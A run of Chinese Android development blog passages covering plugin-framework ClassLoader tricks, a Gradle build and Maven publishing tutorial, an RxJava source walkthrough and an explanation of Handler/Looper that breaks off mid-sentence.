ClassLoader类加载Class的时候，会先使用Parent的ClassLoader，但Parent不能完成加载工作时，才会调用Child的ClassLoader去完成工作。

java.lang.ClassLoader



Loads classes and resources from a repository. One or more class loaders are installed at runtime. These are consulted whenever the runtime system needs a specific class that is not yet available in-memory. Typically, class loaders are grouped into a tree where child class loaders delegate all requests to parent class loaders. Only if the parent class loader cannot satisfy the request, the child class loader itself tries to handle it.

具体分析请参考 Android动态加载基础 ClassLoader的工作机制。

所以每加载一个Activity的时候都会调用到最上级的CJClassLoader的loadClass方法，从而保证启动插件Activity的时候能顺利替换成PlugActivity。当然如何控制着三种ClassLoader的加载工作，也是pluginmgr项目的设计难度之一。

存在的问题

动态类创建的方式，使得注册一个通用的Activity就能给多给Activity使用，对这种做法存在的问题也是明显的


	使用同一个注册的Activity，所以一些需要在Manifest注册的属性无法做到每个Activity都自定义配置；


	插件中的权限，无法动态注册，插件需要的权限都得在宿主中注册，无法动态添加权限；


	插件的Activity无法开启独立进程，因为这需要在Manifest里面注册；


	动态字节码操作涉及到Hack开发，所以相比代理模式起来不稳定；




其中不稳定的问题出现在对Service的支持上，使用动态创建类的方式可以搞定Activity和Broadcast Receiver，但是使用类似的方式处理Service却不行，因为“ContextImpl.getApplicationContext” 期待得到一个非ContextWrapper的context，如果不是则继续下次循环，目前的Context实例都是wrapper，所以会进入死循环。

据houkx称他现在有另外的思路实现“启动为安装的普通第三方APK”的目的，而且不是基于动态类创建的原理，期待他的开源项目的更新。

代理Activity模式与动态创建Activity模式的区别

简单地说，最大的不同是代理模式使用了一个代理的Activity，而动态创建Activity模式使用了一个通用的Activity。

代理模式中，使用一个代理Activity去完成本应该由插件Activity完成的工作，这个代理Activity是一个标准的Android Activity组件，具有生命周期和上下文环境（ContextWrapper和ContextCompl），但是它自身只是一个空壳，并没有承担什么业务逻辑；而插件Activity其实只是一个普通的Java对象，它没有上下文环境，但是却能正常执行业务逻辑的代码。代理Activity和不同的插件Activity配合起来，就能完成不同的业务逻辑了。所以代理模式其实还是使用常规的Android开发技术，只是在处理插件资源的时候强制调用了系统的隐藏API，因此这种模式还是可以稳定工作和升级的。

动态创建Activity模式，被动态创建出来的Activity类是有在主项目里面注册的，它是一个标准的Activity，它有自己的Context和生命周期，不需要代理的Activity。
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0、讲个故事

0.1 Ant，我还真以为你是只蚂蚁

真正开始近距离接触编程其实是在2012年，年底的时候带我的大哥说，咱们这个 app 发布的时候手动构建耗时太久，研究一下 ant 脚本吧。

那个时候连 HashMap 都不知道是啥，可想开发经验几乎为零，一个小小的 ant 脚本看得我真是深深地感受到了这个世界充满的恶意。好在后来硬着头皮搞明白了什么 target 之类的鬼东西，不然就没有然后了。

0.2 Maven，你们真的会读这个单词么

Maven /`meivn/

接触 Maven，完全是因为读陈雄华的《Spring 实战》，他的源码居然是用 Maven 构建的，结果 Spring 学得一塌糊涂，Maven我倒是用顺手了。。

跟 Ant 一样，Maven 可以用来构建 Java 工程；跟 Ant 一样，Maven 的配置用 xml 来描述；但，Maven 可以管理依赖，它可以让你做到“想要什么，就是一句话的事儿”。比如我想要个 gson，Maven 说可以，你记下来我带会儿构建的时候给你去取。

<dependency>
  <groupId>com.google.code.gson</groupId>
  <artifactId>gson</artifactId>
  <version>2.4</version>
</dependency>


真是让你当大爷呢。不过，Maven 这家伙学起来有点儿费劲，很多初学的时候在搭建环境的时候就被搞死了——你以为是因为 Maven 的学习曲线陡峭吗？当然不是，是因为当初 Maven 的中央仓库被 x 了，所以你就天天看着 cannot resovle dependencies 玩就好了。

后来 OSChina 傍上了阿里这个爸爸，就有了 maven.oschina.net。我去年找工作落定之后，想着做点儿什么的时候，发现 maven.oschina.net 估计被阿里爸爸关禁闭，死了几天，现在又活过来了。那又怎样呢，反正中央仓库被 x 的事情也已经成为过去。

0.3 Gradle，你爹是不是 Google！！

13年的时候，我兴奋地跟前面提到的大哥说 Maven 是个好同志的时候，大哥说，Google 推荐用 Gradle。。所以，我想 Gradle，你爹是不是 Google。。或者至少是个干爹吧。

其实这都不重要了，毕竟 Gradle 实在是好用。比起前面两位的 xml 配置的手段，直接用代码的方式上阵必然是灵活得多。不仅如此，Gradle 居然可以使用 Maven 仓库来管理依赖，就像是一个简易版的 Maven 一样，如果不是看不到 pom 文件，你都还以为你仍然在使用 Maven（当然，由于你在用 Maven 的仓库，所以你自然也是离不开 Maven 的）。哦，你是 Ant 用户啊，那也没关系啊，不信你看：

task helloTAS << {
     ant.echo(message: 'Hello TAS.')
}


1、用 Gradle 构建

1.1 工程结构



如图所示，这是一个不能更普通的 android 的 gradle 工程了。

根目录下面的 settings.gradle 当中主要是用来 include 子模块的，比如我们这个工程有一个叫做 app 的子模块，那么 settings.gradle 的内容如下：

include ':app'


根目录下面的 build.gradle 包含一些通用的配置，这些配置可以在各个子模块当中使用。

gradle.properties 文件包含的属性，会成为 project 的 properties 的成员,例如我们添加了属性 hello，

hello=Hello Tas!

然后我们在 build.gradle 当中创建 task：

 task hello << {
       println hello
       println project.getProperties().get("hello")
 }


输出地结果是一样的：

14:28:11: Executing external task 'hello'...
Configuration on demand is an incubating feature.
:app:hello
Hello Tas!
Hello Tas!

BUILD SUCCESSFUL

Total time: 0.54 secs
14:28:12: External task execution finished 'hello'.


local.properties 这个文件在 android 工程当中会遇到，我们通常在其中设置 android 的 sdk 和 ndk 路径。当然，这个 android  studio 会帮我们设置好的。为了更清楚地了解这一点，我把 android 的 gradle 插件的部分源码摘录出来：

SDK.groovy,下面的代码主要包含了加载 sdk、ndk 路径的操作。

private void findLocation() {
 if (TEST_SDK_DIR != null) {
    androidSdkDir = TEST_SDK_DIR
    return
}

 def rootDir = project.rootDir
 def localProperties = new File(rootDir, FN_LOCAL_PROPERTIES)
 if (localProperties.exists()) {
    Properties properties = new Properties()
    localProperties.withInputStream { instr ->
    properties.load(instr)
    }
    def sdkDirProp = properties.getProperty('sdk.dir')

     if (sdkDirProp != null) {
        androidSdkDir = new File(sdkDirProp)
} else {
        sdkDirProp = properties.getProperty('android.dir')
        if (sdkDirProp != null) {
           androidSdkDir = new File(rootDir, sdkDirProp)
           isPlatformSdk = true
        } else {
           throw new RuntimeException(
"No sdk.dir property defined in local.properties file.")
       }
    }

    def ndkDirProp = properties.getProperty('ndk.dir')
    if (ndkDirProp != null) {
        androidNdkDir = new File(ndkDirProp)
     }

} else {
   String envVar = System.getenv("ANDROID_HOME")
   if (envVar != null) {
       androidSdkDir = new File(envVar)
   } else {
      String property = System.getProperty("android.home")
      if (property != null) {
         androidSdkDir = new File(property)
      }
  }

  envVar = System.getenv("ANDROID_NDK_HOME")
  if (envVar != null) {
      androidNdkDir = new File(envVar)
      }
   }
} 


BasePlugin.groovy，通过这两个方法，我们可以在 gradle 脚本当中获取 sdk 和 ndk 的路径

File getSdkDirectory() {
    return sdk.sdkDirectory
}

File getNdkDirectory() {
    return sdk.ndkDirectory
}


例如：

task hello << {
   println android.getSdkDirectory()
}






14:37:33: Executing external task 'hello'...
Configuration on demand is an incubating feature.
:app:hello
/Users/benny/Library/Android/sdk

BUILD SUCCESSFUL

Total time: 0.782 secs
14:37:35: External task execution finished 'hello'.


上面给出的只是最常见的 hierarchy 结构，还有 flat 结构，如下图1为 flat 结构，2为 hierarchy 结构。有兴趣的话可以 Google 一下。



1.2 几个重要的概念

这一小节的出场顺序基本上跟 build.gradle 的顺序一致。

1.2.1 Repository和Dependency

如果你只是写 Android 程序，那么依赖问题可能还不是那么的烦人——如果你用 Java 写服务端程序，那可就是一把辛酸一把泪了。

仓库的出现，完美的解决了这个问题，我们在开发时只需要知道依赖的 id 和版本，至于它存放在哪里，我不关心；它又依赖了哪些，构建工具都可以在仓库中帮我们找到并搞定。这一切都是那么自然，要不要来一杯拿铁，让代码构建一会儿？

据说在 Java 发展史上，涌现出非常多的仓库，不过最著名的当然是 Maven 了。Maven 通过 groupId 和 artifactId 来锁定构件，再配置好版本，那么 Maven 仓库就可以最终锁定一个确定版本的构件供你使用了。比如我们开头那个例子，

<dependency>
  <groupId>com.google.code.gson</groupId>
  <artifactId>gson</artifactId>
  <version>2.4</version>
</dependency>


Maven 就凭这么几句配置就可以帮你搞定 gson-2.4.jar，不仅如此，它还会按照你的设置帮你把 javadoc 和 source 搞定。妈妈再也不用担心我看不到构件的源码了。

那么这个神奇的 Maven 仓库在哪儿呢？ Maven Central，中央仓库，是 Maven 仓库的鼻祖，其他的大多数仓库都会对它进行代理，同时根据需求添加自己的特色库房。简单说几个概念：


	代理仓库：要租房，去搜房网啊。你要去驾校报名，我是驾校代理，你找我，我去找驾校。具体到这里，还有点儿不一样，一旦有人从代理仓库下载过一次特定得构件，那么这个构件会被代理仓库缓存起来，以后就不需要找被代理的仓库下载了。


	私有仓库：中国特色社会主义。走自己的路，你管我啊？公司内部的仓库里面有几个 hosted 的仓库，这些仓库就是我们公司内部特有的，里面的构件也是我们自己内部的同事上传以后供团队开发使用的。


	本地仓库：大隐隐于市。跟代理仓库的道理很像，只不过，这个仓库是存放在你自己的硬盘上的。




说起来，Andoid sdk 下面有个 extra 目录，里面的很多依赖也是以Maven 仓库的形式组织的。不过这是 Google 特色嘛，人家牛到不往 Maven 的中央仓库上传，真是没辙。

1.2.2 SourceSets

源码集，这里面主要包含你的各种类型的代码的路径，比如 'src/main/java' 等等。

1.2.3 Properties

前面我们其实也稍稍有提到，这个 properties 其实是 gradle 的属性，在 gradle 源码当中，我们找到 Project.java 这个接口，可以看到：

 /**
 * <p>Determines if this project has the given property. See <a href="#properties">here</a> for details of the
 * properties which are available for a project.</p>
 *
 * @param propertyName The name of the property to locate.
 * @return True if this project has the given property, false otherwise.
 */
boolean hasProperty(String propertyName);

/**
 * <p>Returns the properties of this project. See <a href="#properties">here</a> for details of the properties which
 * are available for a project.</p>
 *
 * @return A map from property name to value.
 */
Map<String, ?> getProperties();

/**
 * <p>Returns the value of the given property.  This method locates a property as follows:</p>
 *
 * <ol>
 *
 * <li>If this project object has a property with the given name, return the value of the property.</li>
 *
 * <li>If this project has an extension with the given name, return the extension.</li>
 *
 * <li>If this project's convention object has a property with the given name, return the value of the
 * property.</li>
 *
 * <li>If this project has an extra property with the given name, return the value of the property.</li>
 *
 * <li>If this project has a task with the given name, return the task.</li>
 *
 * <li>Search up through this project's ancestor projects for a convention property or extra property with the
 * given name.</li>
 *
 * <li>If not found, a {@link MissingPropertyException} is thrown.</li>
 *
 * </ol>
 *
 * @param propertyName The name of the property.
 * @return The value of the property, possibly null.
 * @throws MissingPropertyException When the given property is unknown.
 */
Object property(String propertyName) throws MissingPropertyException;

/**
 * <p>Sets a property of this project.  This method searches for a property with the given name in the following
 * locations, and sets the property on the first location where it finds the property.</p>
 *
 * <ol>
 *
 * <li>The project object itself.  For example, the <code>rootDir</code> project property.</li>
 *
 * <li>The project's {@link Convention} object.  For example, the <code>srcRootName</code> java plugin
 * property.</li>
 *
 * <li>The project's extra properties.</li>
 *
 * </ol>
 *
 * If the property is not found, a {@link groovy.lang.MissingPropertyException} is thrown.
 *
 * @param name The name of the property
 * @param value The value of the property
 */
    void setProperty(String name, Object value) throws MissingPropertyException;

不难知道，properties 其实就是一个 map，我们可以在 gradle.properties 当中定义属性，也可以通过 gradle 脚本来定义：

setProperty('hello', 'Hello Tas again!')


使用方法我们前面已经提到，这里就不多说了。

1.2.4 Project和Task

如果你用过 ant，那么 project 基本上类似于 ant 的 project 标签，task 则类似于 ant 的 target 标签。我们在 build.gradle 当中编写的

task hello << {
......
}


实际上，是调用

Task Project.task(String name) throws InvalidUserDataException;


创建了一个 task，并通过 << 来定义这个 task 的行为。我们看到 task 还有如下的重载：

Task task(String name, Closure configureClosure);


所以下面的定义也是合法的：

task('hello2',{
    println hello
})


简单说，project 就是整个构建项目的一个逻辑实体，而 task 就是这个项目的具体任务点。更多地介绍可以参见官网的文档，和 gradle 的源码。

2、发布构件

发布构件，还是依赖仓库，我们仍然以 Maven 仓库为例，私有仓库多数采用 sonatype。

2.1 UI 发布

如果管理员给你开了这个权限，你会在 ui 上面看到 upload artifact 的 tab，选择你要上传的构件，配置好对应的参数，点击上传即可。



2.2 使用 Maven 插件

这里的意思是使用 Maven 的 gradle 插件，在构建的过程中直接上传。构建好的构件需要签名，请下载 GPG4WIN (windows)，或者 GPGTOOLS(mac)，生成自己的 key。

直接上代码：

gradle.properties

sonatypeUsername=你的用户名
sonatypePassword=你的密码
signing.keyId=你的keyid
signing.password=你的keypass
#注意，通常来讲是这个路径。
# mac/linux
signing.secretKeyRingFile=/Users/你的用户名/.gnupg/secring.gpg

# Window XP and earlier (XP/2000/NT)
# signing.secretKeyRingFile=C:\\Documents and Settings\\<username>\\Application Data\\GnuPG\\secring.gpg

# Windows Vista and Windows 7
# signing.secretKeyRingFile=C:\\Users\\<username>\\AppData\\Roaming\\gnupg\\secring.gpg


projectName=你的构件名称
group=你的构件groupid
artifactId=你的构件artifactid
# 版本号，采用三位数字的形式，如果是非稳定版本，请务必添加SNAPSHOT
version=0.0.1-SNAPSHOT


build.gradle


apply plugin: 'com.android.library'
apply plugin: 'maven'
apply plugin: 'signing'

android {
   compileSdkVersion 21
   buildToolsVersion "21.1.2"

   defaultConfig {
       minSdkVersion 17
       targetSdkVersion 21
       versionCode 1
       versionName "0.2"
    }
    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
         }
     }
}

dependencies {
    compile fileTree(include: ['*.jar'], dir: 'libs')
 ......
}

def isSnapshot = version.endsWith('-SNAPSHOT')
def sonatypeRepositoryUrl
if(isSnapshot) {
    sonatypeRepositoryUrl = "http://maven.oa.com/nexus/content/repositories/thirdparty-snapshots/"
} else {
     sonatypeRepositoryUrl = "http://maven.oa.com/nexus/content/repositories/thirdparty/"
}

sourceSets {
    main {
        java {
            srcDir 'src/main/java'
        }
    }
}
task sourcesJar(type: Jar) {
    from sourceSets.main.allSource
    classifier = 'sources'
}

artifacts {
    //archives javadocJar
    archives sourcesJar
}

signing {
    if(project.hasProperty('signing.keyId') && project.hasProperty('signing.password') &&
        project.hasProperty('signing.secretKeyRingFile')) {
    sign configurations.archives
    } else {
        println "Signing information missing/incomplete for ${project.name}"
    }
}

uploadArchives {
    repositories {
        mavenDeployer {

           if(project.hasProperty('preferedRepo') && project.hasProperty('preferedUsername')
           && project.hasProperty('preferedPassword')) {

              configuration = configurations.archives
              repository(url: preferedRepo) {

                  authentication(userName: preferedUsername, password: preferedPassword)
                  }

             } else if(project.hasProperty('sonatypeUsername') && project.hasProperty('sonatypePassword')) {

                 beforeDeployment { MavenDeployment deployment -> signing.signPom(deployment) }

                 repository(url: sonatypeRepositoryUrl) {
                    authentication(userName: sonatypeUsername, password: sonatypePassword)

                  }
               } else {
               println "Settings sonatypeUsername/sonatypePassword missing/incomplete for ${project.name}"
                }

               pom.artifactId = artifactId
               pom.project {
                   name projectName
                   packaging 'aar'

                   developers {
                       developer {
                           id 'wecar'
                           name 'wecar'
                        }
                    }
                }
            }
        }
    }


然后运行 gradle uploadArchives 就可以将打包的 aar 发布到公司的 Maven 仓库当中了。jar包的方式类似，这里就不在列出了。

2.3 使用 Maven 命令

这个可以通过 mvn 在 cmdline 直接发布构件，命令使用说明：

mvn deploy:deploy-file -Durl=file://C:\m2-repo \
   -DrepositoryId=some.id \
   -Dfile=your-artifact-1.0.jar \
   [-DpomFile=your-pom.xml] \
   [-DgroupId=org.some.group] \
   [-DartifactId=your-artifact] \
   [-Dversion=1.0] \
   [-Dpackaging=jar] \
   [-Dclassifier=test] \
   [-DgeneratePom=true] \
   [-DgeneratePom.description="My Project Description"] \
   [-DrepositoryLayout=legacy] \
   [-DuniqueVersion=false]


当然这里仍然有个认证的问题，我们需要首先在 maven 的 settings 配置当中加入：

<servers>
        <server>
            <id>Maven.oa.com</id>
            <username>rdm</username>
            <password>rdm</password>
         </server>
</servers>


然后我们就可以使用命令上传了：

mvn deploy:deploy-file -DgroupId=com.tencent.test -DartifactId=test -Dversion=1.0.0 -Dpackaging=aar -Dfile=test.aar -Durl=http://maven.oa.com/nexus/content/repositories/thirdparty -DrepositoryId=Maven.oa.com


3、插件

3.1 什么是插件

插件其实就是用来让我们偷懒的。如果没有插件，我们想要构建一个 Java 工程，就要自己定义 sourceSets，自己定义 classpath，自己定义构建步骤等等。

简单地说，插件其实就是一组配置和任务的合集。

gradle 插件的存在形式主要由三种，

gradle 文件中直接编写，你可以在你的 build.gradle 当中写一个插件来直接引入：

apply plugin: GreetingPlugin

class GreetingPlugin implements Plugin<Project{
   void apply(Project project) {
      project.task('hello') << {
          println "Hello from the GreetingPlugin"
      }
   }
}


buildSrc工程，这个就是在你的工程根目录下面有一个标准的 Groovy 插件工程，目录是 buildSrc，你可以直接引用其中编写的插件。

独立的工程，从结构上跟 buildSrc 工程是一样的，只不过这种需要通过发布到仓库的形式引用。通常我们接触的插件都是这种形式。

详细可以参考：Chapter 61. Writing Custom Plugins

3.2 常见的插件

目前接触到的插件，有下面这么几种：


	java，构建 java 工程


	war，发布 war 包用，构建 web 工程会用到


	groovy，构建 groovy 工程


	com.android.application，构建 Android app 工程


	com.android.library，构建 Android library，通常输出 aar


	sign，签名


	maven，发布到 maven 仓库


	org.jetbrains.intellij，构建 intellij 插件工程




3.3 自己动手写一个插件

创建一个普通的 groovy 工程（java 工程也没有关系），创建 src/main/groovy 目录，编写下面的代码：

package com.tencent.wecar.plugin

import org.gradle.api.Plugin
import org.gradle.api.internal.project.ProjectInternal

class GreetingPlugin implements Plugin<ProjectInternal> {

    void apply(ProjectInternal project) {
       project.task('hello') << {
           println 'hello'
       }
    }
}


在 src/main/resources 创建 META-INF/gradle-plugins 目录，创建 greetings.properties 文件：

implementation-class=com.tencent.wecar.plugin.GreetingPlugin


其中 greettings 就是你的插件 id。

build.gradle

group 'com.tencent.wecar.plugin'
version '1.1-SNAPSHOT'

buildscript {
    repositories {
        mavenLocal()
    }
}

apply plugin: 'groovy'
apply plugin: 'java'

repositories {
    mavenCentral()
}

sourceSets {
    main {
        groovy {
            srcDirs = [
                'src/main/groovy',
                'src/main/java'
            ]
         }  // compile everything in src/ with groovy
         java { srcDirs = []}// no source dirs for the java compiler

      }
}

dependencies {
    //tasks.withType(Compile) { options.encoding = "UTF-8" }
    compile gradleApi()
}

// custom tasks for creating source jars
task sourcesJar(type: Jar, dependsOn:classes) {
    classifier = 'sources'
    from sourceSets.main.allSource
}

// add source jar tasks as artifacts
artifacts { archives sourcesJar }

// upload to local
uploadArchives {
    repositories{
        mavenLocal()
    }
}


运行 uploadArchives 发布到本地仓库，那么就可以找到我们自己的插件了，由于当中没有指定 artifactId，那么我们的插件的 artifactId 就是我们的工程名称，比如这里是 deployplugin。

那么我们要怎么引入这个插件呢？

首先要再 buildScript 增加依赖：

buildscript {
    repositories {
        mavenLocal()
    }
    dependencies {
        classpath 'com.tencent.wecar.plugin:deployplugin:1.1-SNAPSHOT'
    }
}


然后：

apply plugin: 'greetings'


这样我们的 task “hello” 就被引入了。

4、Gradle 运行慢？

用过 Gradle 的朋友多少会感觉到这货有时候会比较慢。我们可以通过下面的三个手段加速你的 Gradle。


	不用中央仓库。如果你的 repository 配置的是 mavenCentral，放开它吧，全世界的人都在琢磨着怎么虐它，你就不要瞎掺和了。试试 jCenter。


	升级最新的 Gradle 版本。目前最新的版本是2.4，Android Studio 从1.3开始默认使用 Gradle2.4


	开启Gradle的电动小马达。在 gradle.properties（眼熟？没错，就是它！！）




里面添加下面的配置：

如果你的任务没有时序要求，那么打开这个选项可以并发处理多个任务，充分利用硬件资源。。嗯，如果你的是单核 CPU。。当我没说。。

org.gradle.parallel=true


这个也可以在命令行通过参数的形式启动，3个小时有效。守护进程可以使编译时间大大缩短

org.gradle.daemon=true


这个看需求吧，Gradle 是运行在 Java 虚拟机上的，这个指定了这个虚拟机的堆内存初始化为256M，最大为1G。如果你内存只有2G，那当我没说。。

org.gradle.jvmargs=-Xms256m -Xmx1024m


当然，建议的方式是在你的用户目录下面的 .gradle/ 下面创建一个 gradle.properties，免得坑你的队友。。。




腾讯Bugly

Bugly是腾讯内部产品质量监控平台的外发版本，支持iOS和Android两大主流平台,其主要功能是App发布以后，对用户侧发生的crash以及卡顿现象进行监控并上报，让开发同学可以第一时间了解到app的质量情况，及时修改。目前腾讯内部所有的产品，均在使用其进行线上产品的崩溃监控。

腾讯内部团队4年打磨，目前腾讯内部所有的产品都在使用，基本覆盖了中国市场的移动设备以及网络环境，可靠性有保证。使用Bugly，你就使用了和手机QQ、QQ空间、手机管家相同的质量保障手段
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最近在Android界，最火的framework大概就是RxJava了。
扔物线大大之前写了一篇文章 《给 Android 开发者的 RxJava 详解》，在我学习RxJava的过程中受益匪浅。经过阅读这篇文章后，我们来看下RxJava的源码，揭开它神秘的面纱。

这里准备分几篇文章写，为了能让自己有个喘口气的机会。

先来上个最最简单的，经典的Demo。

Demo

Observable.create(new Observable.OnSubscribe<String>() {
    @Override
    public void call(Subscriber<? super String> subscriber) {
        subscriber.onNext("hello");
    }
}).subscribe(new Subscriber<String>() {
    @Override
    public void onCompleted() {

    }

    @Override
    public void onError(Throwable e) {

    }

    @Override
    public void onNext(String s) {
        Log.d("rx", s);
    }
});

这段代码产生的最终结果就是在Log里会出现hello。

看下这段代码的具体流程吧。
这里有2个函数create和subscribe，我们看看create里面干了啥。

OnSubscribe对象

public final static <T> Observable<T> create(OnSubscribe<T> f) {
    return new Observable<T>(hook.onCreate(f));
}
// constructor
protected Observable(OnSubscribe<T> f) {
    this.onSubscribe = f;
}

这里的hook是一个默认实现，里面不做任何事，就是返回f。我们看见create只是给Observable的onSubscribe赋值了我们定义的OnSubscribe。

Subscriber对象

来看下subscribe这个函数做了什么事

public final Subscription subscribe(Subscriber<? super T> subscriber) {
    return Observable.subscribe(subscriber, this);
}

private static <T> Subscription subscribe(Subscriber<? super T> subscriber, Observable<T> observable) {
 // validate and proceed
    if (subscriber == null) {
        throw new IllegalArgumentException("observer can not be null");
    }
    if (observable.onSubscribe == null) {
        throw new IllegalStateException("onSubscribe function can not be null.");
        /*
         * the subscribe function can also be overridden but generally that's not the appropriate approach
         * so I won't mention that in the exception
         */
    }
    
    // new Subscriber so onStart it
    subscriber.onStart();
    
    /*
     * See https://github.com/ReactiveX/RxJava/issues/216 for discussion on "Guideline 6.4: Protect calls
     * to user code from within an Observer"
     */
    // if not already wrapped
    if (!(subscriber instanceof SafeSubscriber)) {
        // assign to `observer` so we return the protected version
        subscriber = new SafeSubscriber<T>(subscriber);
    }

    // The code below is exactly the same an unsafeSubscribe but not used because it would add a sigificent depth to alreay huge call stacks.
    try {
        // allow the hook to intercept and/or decorate
        hook.onSubscribeStart(observable, observable.onSubscribe).call(subscriber);
        return hook.onSubscribeReturn(subscriber);
    } catch (Throwable e) {
        // special handling for certain Throwable/Error/Exception types
        Exceptions.throwIfFatal(e);
        // if an unhandled error occurs executing the onSubscribe we will propagate it
        try {
            subscriber.onError(hook.onSubscribeError(e));
        } catch (OnErrorNotImplementedException e2) {
            // special handling when onError is not implemented ... we just rethrow
            throw e2;
        } catch (Throwable e2) {
            // if this happens it means the onError itself failed (perhaps an invalid function implementation)
            // so we are unable to propagate the error correctly and will just throw
            RuntimeException r = new RuntimeException("Error occurred attempting to subscribe [" + e.getMessage() + "] and then again while trying to pass to onError.", e2);
            // TODO could the hook be the cause of the error in the on error handling.
            hook.onSubscribeError(r);
            // TODO why aren't we throwing the hook's return value.
            throw r;
        }
        return Subscriptions.unsubscribed();
    }
}

我们看到，这里我们的subscriber被SafeSubscriber包裹了一层。

if (!(subscriber instanceof SafeSubscriber)) {
    // assign to `observer` so we return the protected version
    subscriber = new SafeSubscriber<T>(subscriber);
}

然后开始执行工作流

hook.onSubscribeStart(observable, observable.onSubscribe).call(subscriber);
return hook.onSubscribeReturn(subscriber);

默认的hook只是返回我们之前定义的onSubscribe，这里调用的call方法就是我们在外面定义的

new Observable.OnSubscribe<String>() {
    @Override
    public void call(Subscriber<? super String> subscriber) {
        subscriber.onNext("hello");
    }
})

我们调用传入的subscriber对象的onNext方法，这里的subscriber是SafeSubscriber
在SafeScriber中

public void onNext(T args) {
    try {
        if (!done) {
            actual.onNext(args);
        }
    } catch (Throwable e) {
        // we handle here instead of another method so we don't add stacks to the frame
        // which can prevent it from being able to handle StackOverflow
        Exceptions.throwIfFatal(e);
        // handle errors if the onNext implementation fails, not just if the Observable fails
        onError(e);
    }
}

actual就是我们自己定义的subscriber。 原来SafeSubscriber只是为了帮我们处理好异常，以及防止工作流的重复。

这是RxJava最最基本的工作流，让我们认识到他是怎么工作的。之后我们来讲讲其中的细节和其他神奇的内容。

【谜之RxJava （二） —— Magic Lift】

欢迎关注我Github 以及 weibo、@Gemini
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一次性线程和无限循环线程

普通线程是一次性的，执行结束后也就退出了（这种说法可能不严谨，但为了下文描述方便）。
但某些情况下需要无限循环、不退出的线程。比如处理用户交互的线程，它等待并执行用户的点击、滑动等等操作事件，也执行由系统触发的广播等事件，称之为主线程，也叫UI线程。

关于这种无限循环线程需要说的是：


	每个事件及其所包含的信息被封装为一个Message（下文中提到的“消息”和“事件”是一回事儿）；


	线程不能同时处理所有事件，所以需要有个收件箱MessageQueue（下文中提到的线程，如果没有特别说明是一次性线程，那么都指looper thread）；


	之所以不同于一次性线程，而能无限循环，是Looper的功劳，所以这种线程也被称为message looper thread；


	事件由Handler发送和处理。




创建一个looper thread

Android提供的类HandlerThread，是一个looper thread类。通过源码理解它是怎么办到的：
HandlerThread源码链接

23 public class HandlerThread extends Thread {
51     @Override
52     public void run() {
            // 初始化当前线程为looper thread，prepare()方法保证为每个线程只新建一个Looper object；
            // 在新建Looper object时，新建了一个MessageQueue object；
            // 所以，HandlerThread对象、Looper对象、MessageQueue对象，三者之间建立了彼此惟一的关联。
54         Looper.prepare();
55         synchronized (this) {
                // 该静态方法返回与当前线程关联的Looper object，如果当前线程未关联Looper则返回空；
                // 稍后讲到的Handler也是通过该方法建立和当前线程的惟一关联；
                // 至于为什么是当前线程，好像是和ThreadLocal<Looper>这个静态变量有关，不甚明了，存疑 TODO.
56             mLooper = Looper.myLooper();
57             notifyAll();
58         }
            // 你可以覆写这个函数，以在循环开始前做些必要的工作，比如实例化一个Handler，稍后讲它。
60         onLooperPrepared();
            // 调用loop()方法后，Looper对象就开始循环地从MessageQueue对象中取消息、处理消息、没消息时等待消息；
            // 这就使得它成为了一个looper thread；
            // 而如何处理消息，涉及Handler，稍后讲它。
61         Looper.loop();
63     }

所以，创建一个HandlerThread实例，就创建了一个looper thread：

// 在合适的地方新建并启动线程，比如在Activity.onCreate()方法。
HandlerThread mHandlerThread = new HandlerThread("Gallery Downloading Thread");
mHandlerThread.start();

// 必须调用getLooper()，而且必须在start()之后调用，该方法获取与线程关联的Looper对象，以确保线程就绪；
// 因为该方法会被阻塞直至looper对象初始化好了。
mHandlerThread.getLooper();

// 在合适的地方调用quit()方法，比如Activity.onDestroy()方法，以退出线程的looper循环，不再处理消息队列中的任何消息；
// 此处存疑 TODO：线程退出了吗？（好像并没有，该如何处理？）
mHandlerThread.quit();

如此，一个looper thread就在运转了，但它发现没有消息，于是它等待。问题是，
该如何传递消息给它；它拿到消息后又是怎么处理的呢？答案在Handler。

Handler负责消息的发送和处理

Handler源码链接

关于Handler需要说的是：


	Handler使你能够发送并处理Message和Runnable对象；


	当你创建了一个Handler实例，它就被绑定给创建它的线程，只能绑定给这1个线程，这也就意味着只关联了1个MessageQueue，此后，就可以发送messages和runnables给所关联的message queue，而当这些消息出队时，就在handler绑定的线程中得到执行；


	Handler主要有2种用途：(1) 安排messages和runnables在将来的某个时间点执行；(2) 让另一个线程做些事情。
以上内容截取自源码文件的注释（翻译后）。




使用默认构造器创建一个Handler

Handler mHandler = new Handler();

通过源码来理解为什么handler被绑定到了创建它的线程:

188    public Handler(Callback callback, boolean async) {
            // 通过该静态方法获得与当前线程绑定的Looper，而Looper是和当前线程惟一关联的（参看上文描述）；
            // 这样就建立了handler和当前线程及其MessageQueue的惟一关联；
            // 当然也可以通过另一个方法关联到指定的Looper，此处暂且不表 TODO.
198        mLooper = Looper.myLooper();
            // 如果当前线程没有looper，就没有queue，就没法接收消息，所以抛出异常。
199        if (mLooper == null) {
200            throw new RuntimeException(
201                "Can't create handler inside thread that has not called Looper.prepare()");
202        }
203        mQueue = mLooper.mQueue;
204        mCallback = callback;
206    }

// 默认的构造器就调用上面的方法，绑定handler到当前线程，也就是创建它的线程。
113    public Handler() {
114        this(null, false);
115    }

现在有了handler，又该如何发送消息呢？在发送之前，我们先新建一个消息。

使用默认构造器创建一个Message

Message msg = new Message();
msg.what // 自定义的消息识别码，整形，以便接收者识别消息；
msg.arg1 // 如果两个int数据就可以满足你的要求，就用arg1和arg2；
msg.arg2
msg.obj // 如果复杂，就传递Object对象，或者Bundle数据；
msg.setData(Bundle data)

使用Handler发送消息

Handler可以发送处理Message和Runnable两种对象，提供了若干方法：

boolean post(Runnable r);
boolean postAtTime(Runnable r, Object token, long uptimeMillis);
boolean postDelayed(Runnable r, long delayMillis);

boolean sendEmptyMessage(int what);
boolean sendMessage(Message msg);
boolean sendMessageAtTime(Message msg, long uptimeMillis);
boolean sendMessageDelayed(Message msg, long delayMillis);

这些方法最终都调用了sendMessageAtTime()，然后把消息放入队列。Runnable对象在内部被转成了Message对象的callback字段，稍后讲它。

Message绑定给了发送它的Handler

需要特别关注message的成员变量Handler target，消息入队时，该字段被设置为发送它的handler，这就确保了message对象和handler对象的惟一关联。这样在message出队时，就知道该交给哪个handler处理；除此之外它还有别的用处，稍后讲它。

高效发送消息的做法

上文发送消息的做法，每次都需要新建一个message实例。如果频繁的话，Android推荐这样做：

mHandler
